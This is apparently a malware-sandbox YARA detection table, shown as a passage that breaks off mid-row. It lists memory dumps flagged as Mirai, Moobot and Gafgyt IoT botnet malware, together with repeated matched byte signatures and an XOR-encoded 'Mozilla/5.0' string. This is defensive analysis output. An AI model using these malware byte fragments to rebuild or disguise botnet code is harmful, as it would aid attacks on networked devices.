6355.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6355.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6759.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6764.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6307.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6418.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6870.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6966.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6966.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6966.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6966.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6966.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6966.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7358.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6536.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6861.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6577.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7036.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6883.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7393.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6281.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6281.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6281.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6281.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6412.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6412.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6412.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6412.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6333.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6923.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6923.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6923.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6923.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6923.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 